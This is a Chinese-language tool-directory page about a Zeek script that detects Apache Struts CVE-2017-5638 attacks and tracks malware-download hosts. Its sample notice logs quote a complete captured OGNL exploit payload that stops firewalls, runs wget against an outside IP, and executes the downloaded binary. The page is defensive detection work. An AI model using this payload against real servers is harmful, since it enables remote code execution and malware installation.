Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-5638_struts — 用于检测 Apache Struts 侦察与入侵 | Kitploit
工具/GitHubGitHub/initconf/cve-2017-5638_struts
漏洞分析漏洞利用网络安全恶意软件分析威胁情报入侵检测
GitHubinitconf/cve-2017-5638_struts

CVE-2017-5638_struts

用于检测 Apache Struts 侦察与入侵

查看仓库
828年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

我进一步扩展了 Scott Campbell 的脚本,使其变得更复杂 :)

虽然“HTTP_StrutsAttack”会阻止 100% 的侦察,但仍然有极小的可能性:如果扫描器命中了易受攻击的系统,即使我们阻止了扫描器,易受攻击的系统仍可能执行 HTTP 请求中包含的 wget 并运行恶意软件。由于我们并未阻止 wget URL 中的恶意软件下载 IP——该 IP 几乎总是与侦察 IP 不同。

因此,扩展后的脚本还会提取恶意软件下载 IP。

  1. 生成以下通知:

    root@kitploit:~
     redef enum Notice::Type += {
             Attempt,
             MalwareURL,
             HostileDomainLookup,
             MalwareURLClick,
             FileDownload,
             Compromise,
     };
    
  • 因此,现在该脚本会从 Attempt 中提取“wget” URL,如果该 URL 具有域名(或 CNAME 域名),脚本将进一步追踪恶意软件主机的 IP 地址并监视相关活动。

  • 如果在 http 中看到 wget URL,我们会生成 MalwareURLClick 通知。

  • 以及进一步的 FileDownload 和 Compromise 通知。

  • 该脚本也支持集群化(clusterized)。

我运行了 24 小时以上,脚本方面看起来稳定。我仍然确信可能存在一些蹩脚的检测漏洞。所以欢迎修改,也请告诉我。

令人惊讶的是,与之前不同,我没有看到大量的 Struts 扫描器。我看到的范围大约是每天 ~20 个,而不是每天 ~1000 个。

以下是一些示例通知:

1489228734.171565 CbVq832QovIwAQddf2 1.24.191.108 65000 131.243.X.Y 80 - - - tcp Struts::Attempt CVE-2017-5638/Struts attack from 1.24.191.108 seen: %{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://121.42.249.245:1996/xhx;chmod 777 xhx;./xhx;').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} - 1.24.191.108 131.243.X.Y 80 - worker-5 Notice::ACTION_LOG 3600.000000 F - -- - -

1489237401.399275 C90k4o1Zrn8D7vaXoe 124.117.244.34 49728 128.3.Y.Z 80 - - - tcp Struts::MalwareURL Struts Hostile URLs seen in recon attempt 124.117.244.34 to 128.3.Y.Z with URL [http://121.42.249.245:1996/xhx;chmod 777 xhx;./xhx;] - 124.117.244.34 128.3.Y.Z 80 - worker-13 Notice::ACTION_LOG 3600.000000 F - - - - -

1489240937.969456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 - - - tcp Struts::MalwareURLClick Struts Hostile URL seen 128.3.X.Y=121.42.249.245 [http://121.42.249.245:1996/tcp/xhx] - 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 60.000000 F - - - - -

1489240937.969456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 - - - tcp Struts::Compromise Struts compromise: 128.3.X.Y=121.42.249.245 [http://121.42.249.245:1996/tcp/xhx] - 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 3600.000000 F - - - - -

1489240940.206456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 Frx9jZ1JkcrsVtgOkg application/x-executable http://121.42.249.245:1996/tcp/xhx tcp Struts::FileDownload http://121.42.249.245:1996/tcp/xhx http://121.42.249.245:1996/tcp/xhx 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 3600.000000 F

下载工具